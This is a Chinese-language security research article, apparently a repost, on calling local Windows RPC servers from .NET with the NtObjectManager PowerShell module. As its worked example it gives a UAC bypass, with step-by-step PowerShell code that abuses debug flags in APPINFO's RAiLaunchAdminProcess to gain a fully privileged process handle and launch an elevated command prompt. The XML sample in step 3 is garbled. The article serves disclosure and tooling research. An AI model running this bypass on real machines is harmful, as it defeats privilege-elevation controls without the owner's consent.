天天看點

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器
.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

一、前言

通常情況下,我熱衷于在Windows中尋找安全漏洞,但在一些場景中,我更喜歡編寫工具來輔助我和其他研究者的漏洞挖掘挑戰。本文主要描述了我如何利用在沙箱分析項目中新開發的工具來從.NET通路本地Windows RPC伺服器。我将提供一個PowerShell中的工具,并以案例來說明一種新型的、以前未曾披露過的UAC繞過方式。

在這裡,我們将不會詳細介紹在開發工具中遇到的挑戰與解決過程,我建議想要了解這部分内容的人員可以參考我在HITB Abu Dhabi會議和Power of Community 2019會議上的演講。

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

二、背景

如果大家浏覽過我最近送出的安全報告,可能會發現我編寫的絕大多數概念證明(PoC)都是使用C#語言的。盡管我精通C++語言,但是我發現在使用C#編寫程式時,可以輕松利用作業系統中的複雜邏輯缺陷。為此,我進行了一系列的作業系統研究與整合,以改進NtApiDotNet庫,在我編寫PoC時就可以從NuGet中輕松引用。我認為,使用C#編寫概念證明,在可靠性、便捷性方面具有許多優勢,并且借助一些外部庫,可以簡化代碼量,這對于廠商進行評估來說非常重要。

但也并不是所有内容都可以使用C#語言(或一般.NET)編寫,我此前的最大盲點在于如何直接與本地RPC伺服器互動。之是以産生這樣的困擾,主要原因是Microsoft提供的用于生成用戶端的工具僅支援C語言代碼。我無法編寫接口定義語言(IDL)檔案并直接生成C#用戶端。

但幸運的是,Microsoft在系統上提供了一個直接公開API的DLL。舉例來說,當我研究資料共享服務時,我發現作業系統上還附帶了DSCLIENT DLL,它與RPC服務是一對一映射調用的。随後,在我找到文檔中沒有展現的API之後,我可以使用P/Invoke直接調用DLL。但這種方式存在一個問題,就是它無法擴充。在這裡,不需要Microsoft提供通用的DLL來通路該服務,實際上,大多數RPC用戶端将直接嵌入與該服務互動的可執行檔案中。

我們可以将生成的C語言代碼編譯到自己的DLL中,然後從.NET調用,或者使用C++/CLI的混合模式。但是,我們需要的是一個單純的托管代碼解決方案。經過大量的研究,我最終發現調用通過P/Invoke實作底層用戶端代碼的作業系統RPC運作時(RPCRT4.DLL)這一過程非常複雜,并且很容易出錯,最佳的方案似乎是編寫自己的實作方法。

本地RPC用戶端的托管.NET實作具有許多優點。例如,可以消除幾乎所有對本地代碼的直接調用(低級核心調用除外)。這使得使用C語言用戶端對伺服器進行模糊測試的過程更加安全,因為最糟糕的情況也不過是産生異常。如果将無效值傳遞給用戶端,這個異常就可能會被捕獲。同樣,當.NET編譯器将大量的中繼資料生成到已經編譯的程式集中時,我們可以使用反射在運作時提取有關方法和結構的資訊。

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

三、實作過程

在開始編寫本地RPC用戶端這樣複雜的項目之前,我們需要先了解,是否有人曾經開發過基于.NET的RPC用戶端。甚至,要解答這個問題也并不簡單,因為我們實際上要編寫兩個部分:

1、從現有RPC伺服器提取資訊以生成用戶端的工具;

2、本地RPC用戶端實作。

我們在該過程中,研究了一些工具和庫,盡管最終沒有成功,但它們也起到了一定的作用。

3.1 RPC View

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

RPC View是一個很棒的工具,可以檢查目前正在運作的RPC伺服器。該工具全部由GUI驅動(如上圖所示),我們可以選擇一個程序或RPC端點并檢查可用的功能。在找到感興趣的RPC伺服器後,我們可以使用該工具的内置反編譯器生成IDL檔案,該檔案可以與現有的Microsoft工具進行重新編譯。盡管我們仍然需要從IDL檔案下載下傳到.NET用戶端,但我們正在朝着提取RPC伺服器資訊的目标不斷接近。

RPC View最開始是閉源代碼,但在2017年開源并上傳至GitHub上。但是,這些工具都是使用C/C++編寫的,是以無法在.NET應用程式中輕松使用,并且IDL生成不完整(例如:缺少對系統句柄和某些結構類型的支援),是以不符合我們要解析文本格式的目的。

3.2 RPCForge

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

RPCForge項目由Clément Rouault和Thomas Imbert開發,并且由他們在PacSec上進行了示範。如果大家想了解本地RPC如何使用名為“進階本地過程調用”(ALPC)的内置無文檔核心功能,并且了解如何使用ALPC來建構自己的本地RPC用戶端,那麼這個示範文稿是一個不錯的參考。RPCForge項目是RPC用戶端接口的模糊測試器,它是依賴于單獨的Python for Windows項目進行的本地RPC實作。

我們粗略浏覽一下代碼,會發現Python編寫的代碼對我實作.NET托管用戶端的目标并沒有太大幫助。我可以嘗試使用IronPython(Python 2.7的.NET實作)來運作代碼,但這樣做無疑增加了許多額外的工作,同時收效甚微。也許,我們可以編寫一個代碼轉換工具,但這比編寫新的實作要花費更多精力。同樣,此前也從沒有開發人員釋出過根據RPC伺服器生成用戶端的工具(基于RPC View),這就使得這段代碼除了供我們參考之外,沒有其他用途。

3.3 SMBLibrary

我們要提到的最後一個工具是SMBLibrary項目。這是一個尚未充分了解的.NET庫,它實作了伺服器消息塊(SMB)協定(版本1至版本3)。作為該庫的一部分,已經實作了一個簡單的、基于命名管道的RPC用戶端。

這個庫是使用C#編寫的,是以對我而言可以直接使用。但遺憾的是,這個RPC用戶端實作是非常基礎的,僅支援一些通用RPC伺服器所需的最少功能。用于本地RPC的協定與需要開發新實作的命名管道所使用的協定不同。該項目也沒有任何生成用戶端的工具。

如果需要對SMB伺服器進行安全測試,并且需要使用.NET語言,則我們建議使用這個庫。但是,這個庫目前不符合我們的需要。

3.4 實作過程

我開發的實作已經全部上傳至Sandbox Analysis Tools GitHub存儲庫中。該實作包含用于加載DLL/EXE并将RPC伺服器資訊提取到.NET對象的類。此外,它還包含使用網絡資料表示(NDR)協定和本地RPC用戶端代碼封裝資料的類。最終,我實作了一個用戶端生成器,該生成器接收已經解析的RPC伺服器資訊,并生成一個C#源代碼檔案。

要通路這些功能,最簡單的方法就是安裝我的NtObjectManager PowerShell子產品,該子產品公開了各種用于提取RPC伺服器資訊和生成、連接配接RPC用戶端的指令。接下來,我将通過一個有效的示例來具體示範這些指令的使用。

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

四、詳細說明UAC繞過過程

既然要示範一個有效的示例,我傾向于選擇一個漏洞,該漏洞隻能通過直接調用RPC服務來利用。如果目前環境未安裝更新檔,那麼這個漏洞利用也會非常有效,因為我們可以在普通的Windows環境中輕松進行示範。當然,我無法詳細說明關于這個安全漏洞的細節,因為Microsoft沒有考慮這一安全邊界的問題,并且不會在安全更新中修複該問題,同時目前已經存在提供類似功能、未修複的公開UAC繞過方式。

UAC的完整實作,即APPINFO服務暴露的一個RPC伺服器,被ShellExecute API針對使用者進行了隐藏。這意味着,如果該漏洞存在于服務接口中,就沒有其他方法可以直接利用RPC伺服器來對其進行利用。值得注意的是,由于需要處理指令行解析,Clément和Thomas在PacSec的演講中也提到了UAC繞過的問題,而我在這裡要說明的則是一個完全不同的漏洞。

4.1 漏洞概述

APPINFO中的RPC伺服器的接口ID為201ef99a-7fa0-444c-9399-19ba84f12a1a,版本為1.0。我們在伺服器中調用的主RPC函數是RAiLaunchAdminProcess,該函數具體如下(已省略其中一些不重要的細節):

struct APP_PROCESS_INFORMATION {

    unsigned __int3264 ProcessHandle;

    unsigned __int3264 ThreadHandle;

    long  ProcessId;

    long  ThreadId;

};

long RAiLaunchAdminProcess(

    handle_t hBinding,

    [in][unique][string] wchar_t* ExecutablePath,

    [in][unique][string] wchar_t* CommandLine,

    [in] long StartFlags,

    [in] long CreateFlags,

    [in][string] wchar_t* CurrentDirectory,

    [in][string] wchar_t* WindowStation,

    [in] struct APP_STARTUP_INFO* StartupInfo,

    [in] unsigned __int3264 hWnd,

    [in] long Timeout,

    [out] struct APP_PROCESS_INFORMATION* ProcessInformation,

    [out] long *ElevationType

);

該函數中的大多數參數都與用于啟動新UAC程序的CreateProcessAsUser API相似。其中,一個值得關注的參數是CreateFlags,該标志參數直接映射到了CreateProcessAsUser的dwCreateFlags參數。除了驗證調用方是否已經傳遞CREATE_UNICODE_ENVIRONMENT之外,所有其他标志均按照原樣傳遞給API。其中,DEBUG_PROCESS和DEBUG_ONLY_THIS_PROCESS這兩個标志将自動在新的UAC程序上啟用調試。

如果閱讀我以前釋出過的關于濫用使用者模式調試器的文章,大家可能會意識到該問題的發展方向。如果我們可以在權限提升的UAC程序上啟用調試,并擷取其調試對象的句柄,那麼可以請求第一個調試事件,該事件将傳回對該程序的完全通路句柄。即使我們通常無法直接為該通路級别啟動程序,這個技巧也同樣有效。我們仍然需要通路調試對象的句柄。要活的一個句柄,我們可以在擁有提升程序的句柄後,請求一個NtQueryInformationProcess資訊類(ProcessDebugObjectHandle)。

但在這裡存在一個問題,通路程序的調試對象句柄需要對程序句柄具有PROCESS_QUERY_INFORMATION通路權限。由于安全限制,我們僅對在APP_PROCESS_INFORMATION::ProcessHandle結構字段中傳回的提升權限的程序句柄具有PROCESS_QUERY_LIMITED_INFORMATION通路權限。這意味着,我們不能僅建立一個具有提升權限的程序并打開調試對象。

我們應該怎麼繼續利用呢?需要關注的最重要一點是,調試對象是通過調用NTDLL導出的下述函數,在CreateProcessAsUser API内部自動建立的。

NTSTATUS DbgUiConnectToDbg() {

    PTEB teb = NtCurrentTeb();

    if (teb->DbgSsReserved[1])

        return STATUS_SUCCESS;

    OBJECT_ATTRIBUTES ObjAttr{ sizeof(OBJECT_ATTRIBUTES) };

    return ZwCreateDebugObject(&teb->DbgSsReserved[1], DEBUG_ALL_ACCESS,

        &ObjAttr, DEBUG_KILL_ON_CLOSE);

}

調試對象的句柄存儲在TEB的保留字段中。這是有道理的,因為CreateProcessAsUser和WaitForDebugEvent API不允許調用者指定顯式的調試對象句柄。相反,等待調試事件必須僅在建立程序的同一線程上發生。結果将導緻在同一線程上建立的帶有調試标志的所有程序共享同一個調試對象。

我們回到RAiLaunchAdminProcess方法,StartFlags參數沒有傳遞到CreateProcessAsUser API,而是用于修改RPC方法的行為。它需要許多不同的位标志。最重要的标志位于第0位中,如果該位置為1,則将提升新程序的權限,否則将不會提升權限。最重要的是,如果不提升程序權限,我們需要有足夠權限來打開該程序的調試對象的句柄,該句柄可以與後續提升權限的程序進行共享。要利用這個問題,我們可以按照以下步驟操作:

1、通過RAiLaunchAdminProcess,将StartFlags設定為0,同時設定DEBUG_PROCESS create标志,來建立一個新的未提升權限的程序。這将會在伺服器中RPC線程的TEB中初始化調試對象字段,并将其配置設定給新程序。

2、使用帶有傳回的程序句柄的NtQueryInformationProcess啟動調試對象的句柄。

3、分離調試器,終止不再需要的新程序。

4、通過RAiLaunchAdminProcess,将StartFlags設定為1,同時設定DEBUG_PROCESS create标志,來建立一個新的提升權限的程序。由于已經初始化了TEB中的調試對象字段,是以會将步驟2中捕獲的現有對象配置設定給新程序。

5、檢索初始調試事件,該事件将傳回完整的通路程序句柄。

6、使用新的程序句柄代碼,可以将其注入提升權限的程序中,進而實作UAC繞過。

關于這個漏洞利用,有幾點需要注意的地方。首先,不能保證每次對RAiLaunchAdminProcess的調用都使用相同的線程。RPC伺服器代碼使用線程池,并且可以在另一個線程上配置設定調用,這意味着在步驟1中建立的調試對象可能與在步驟4中配置設定的調試對象不同。我們可以通過多次重複執行步驟1來緩解這種情況。嘗試為所有池線程初始化調試對象,捕獲每個線程的句柄。我們可以有把握地确定步驟4中建立的過程将共享其中一個捕獲的調試對象。

此外,在步驟4提升權限的過程中,我們仍然能看到UAC提示,但是Windows預設設定中允許Windows二進制檔案在沒有提示的情況下自動提升權限。在預設安裝過程中,我們可以在不産生提示的情況下派生出這些Windows二進制檔案,例如“任務管理器”。由于我們正在利用的漏洞位于服務中,而不是位于我們正在建立的程序,是以我們可以自由選取所需要的任何可執行檔案。

需要指出的是,其他API中也重複了可以在調試狀态下建立程序的行為模式。例如,WMI  Win32_Process類的Create方法使用了Win32_ProcessStartup對象,我們可以在其中指定這些相同的調試過程标志。就目前而言,我還沒有研究出來該如何利用這種行為,但可以繼續對這一方面進行研究。

4.2 使用PowerShell進行漏洞利用

最後,我們使用自行編寫的工具來利用這一UAC繞過漏洞。我們将使用NtObjectManager PowerShell子產品,因為這是最快速的方法。針對其中的每一步,我都會簡要說明在PowerShell指令行中應該執行的代碼。

步驟1:從PowerShell庫中,為目前使用者安裝NtObjectManager子產品。我們還需要設定PowerShell執行政策,以允許運作未簽名的腳本。需要關注的是,如果已經安裝了NtObjectManager,需要確定更新到最新版本,可以運作Update-Module指令。

Install-Module "NtObjectManager" -Scope CurrentUser

步驟2:解析APPINFO.DLL服務可執行檔案,從DLL中提取所有RPC伺服器,然後根據接口ID過濾掉除了目标RPC伺服器之外的所有内容。我們也可以将-DbgHelpPath參數添加到Get-RpcServer,以指向Windows調試工具中的DBGHELP.DLL副本,以使用公共符号來解析方法名稱。在這種情況下,我們将在步驟3中使用其他方法,以確定函數名稱正确。

$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" ` 

| Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

步驟3:重命名RPC伺服器接口的某些特定部分。解析後的RPC伺服器對象具有用于方法名稱、參數、結構字段等的可變名稱字元串。盡管無需執行這一步驟,但為了使其餘代碼更加易于了解,我們可以手動配置設定名稱,也可以将XML檔案與名稱資訊一起使用。我們可以使用Get-RpcServerName函數為伺服器生成完整的XML檔案,然後對其進行編輯。下面是一個簡單的XML檔案示例,它将會重命名選擇的部分: 

201ef99a-7fa0-444c-9399-19ba84f12a1a  1  0            0      RAiLaunchAdminProcess                        10          ProcessInformation                              0            APP_STARTUP_INFO              2                        0          ProcessHandle                    APP_PROCESS_INFORMATION

我們将檔案儲存為names.xml,可以使用以下代碼将其應用于RPC伺服器對象:

步驟4:基于RPC伺服器建立用戶端對象。在這一過程中,會生成一個實作RPC用戶端的C#源代碼檔案,然後将這個C#檔案編譯為一個臨時程式集,最後将建立該用戶端對象的新執行個體。RPC用戶端目前尚未連接配接,它僅實作公開的功能和用于編排參數的代碼。如果要檢查生成的C#代碼,還可以使用Format-RpcClient函數。

$client = Get-RpcClient $rpc

步驟5:将用戶端連接配接到本地RPC伺服器的ALPC端口。由于UAC RPC伺服器使用RPC端點映射器,是以我們不需要知道ALPC端口的名稱,就可以自動查找它。如果已經使用特定的啟動觸發器注冊了服務(例如APPINFO服務),該過程還将自動啟動系統服務,這将非常有幫助。

Connect-RpcClient $client

步驟6:定義一個PowerShell函數,以包裝對RAiLaunchAdminProcess方法的調用。這樣一來就使得調用更加容易,特别是在遇到需要多次調用的情況時。我們将DEBUG_PROCESS标志傳遞給程序建立,但無論是否提升程序權限,都将其設定為可選。該函數将傳回一個NtProcess對象,可用于通路所建立程序的屬性,包括調試對象。請注意,在調用RAiLaunchAdminProcess時,所使用的參數(例如:ProcessInformation)已經轉換為傳回結構。這對于PowerShell的使用來說是非常友善的,如果我們确實需要使用out和ref參數,可以将其禁用。

function Start-Uac {

  Param(

    [Parameter(Mandatory, Position = 0)]

    [string]$Executable,

    [switch]$RunAsAdmin

  )

  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `

        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment

  $StartInfo = $client.New.APP_STARTUP_INFO()

  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`

          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`

          "C:\", "WinSta0\Default", $StartInfo, 0, -1)

  if ($result.retval -ne 0) {

    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)

    throw $ex

  }

  $h = $result.ProcessInformation.ProcessHandle.Value

  Get-NtObjectFromHandle $h -OwnsHandle

}

步驟7:建立一個非權限程序并捕獲調試對象。不管我們在這裡建立的是什麼程序,都可以使用記事本。在有了調試對象後,我們需要将程序與調試器分離,否則在我們等待調試事件時,就會與提升權限的程序的消息混在一起。同樣,如果我們不進行分離,該程序實際上将不會終止。

$p = Start-Uac "c:\windows\system32\notepad.exe"

$dbg = Get-NtDebug -Process $p

Stop-NtProcess $p

Remove-NtDebugProcess $dbg -Process $p

步驟8:建立一個提升權限的程序。在具體場景之中,應該選擇一個能自動提升權限的應用程式,例如任務管理器。我們發現,配置設定給提升權限的程序的調試對象與步驟7中捕獲的調試對象相同,除非此時由另一個線程為RPC請求提供服務。現在,我們在調試對象上進行等待,以擷取初始程序建立調試事件,并從中提取到特權程序句柄。需要注意的是,在初始調試事件中傳回的句柄沒有完整特權,它缺少了PROCESS_SUSPEND_RESUME,這使得我們無法從調試對象中分離程序。但是,我們已經具有PROCESS_DUP_HANDLE權限,是以可以通過使用Copy-NtObject從提升權限的程序中複制目前程序的僞句柄(-1),進而獲得具有完整特權的句柄。

$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin

$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg

$h = [IntPtr]-1

$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h

Remove-NtDebugProcess $dbg -Process $new_p

步驟9:$new_p變量現在應該包含一個完整特權的程序句柄。我們可以使用一種執行任意特權代碼的快速方法——将句柄作為新程序的父程序。例如,下面的指令将以管理者身份生成指令提示符。

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

至此,我們就完整展示了示例。希望通過上述示例能為大家提供足夠的資訊,以加速工具的使用速度,同時能在PowerShell中有效地利用它。

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

五、在C#中使用RPC用戶端

為了完善這篇文章,我在最後需要說明如何使用C#來利用這個工具,而非PowerShell。編譯C#檔案的最簡單方法是使用PowerShell中的Format-RpcClient指令或C#中的RpcClientBuilder類,從已經解析的RPC伺服器生成該檔案。在PowerShell中,解析目錄中的多個可執行檔案,然後使用下面示例的指令為每個伺服器生成用戶端。在示例中,解析了所有system32 DLL,并在輸出路徑中生成單獨的C#檔案:

$rpcs = ls "c:\windows\system32\*.dll" | Get-RpcServer

$rpcs | Format-RpcClient -OutputPath "cs_output"

然後,我們可以擷取所需的C#檔案,并将其添加到Visual Studio項目中,或者手動進行編譯。我們還需要從NuGet提取NtApiDotNet庫,以擷取正常的本地RPC用戶端代碼,它甚至可以在.NET Core中運作,但顯然不能在Windows之外的平台上運作。

要使用用戶端,我們可以編寫以下C#代碼。所使用的具體語句(第一行)要根據RPC伺服器的接口ID和版本進行修改。

using rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0;

Client client = new Client();

client.Connect();

client.RAiLaunchAdminProcess("c:\windows\system32\notepad.exe", ...);

我們可以傳遞給Format-RpcClient以更改有關輸出的一些其他選項,例如指定命名空間和用戶端名稱,以及在PowerShell使用的結構中傳回out參數的選項。生成所有用戶端的過程非常耗時,特别是如果要針對所有受支援的Windows版本執行此操作,并且希望解析命名的公共符号時。但是我已經幫助大家完成了這項工作,可以在GitHub上找到WindowsRpcClient項目,裡面已經為Windows 7、Windows 8.1和Windows 10 1803、1903、1909預先生成了用戶端。由于代碼是自動生成的,是以不包含任何特定的證書,這一點和NtApiDotNet庫一樣。 

.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器
.net core 調用c dll_UAC繞過新思路:探尋從.NET調用本地Windows RPC伺服器

繼續閱讀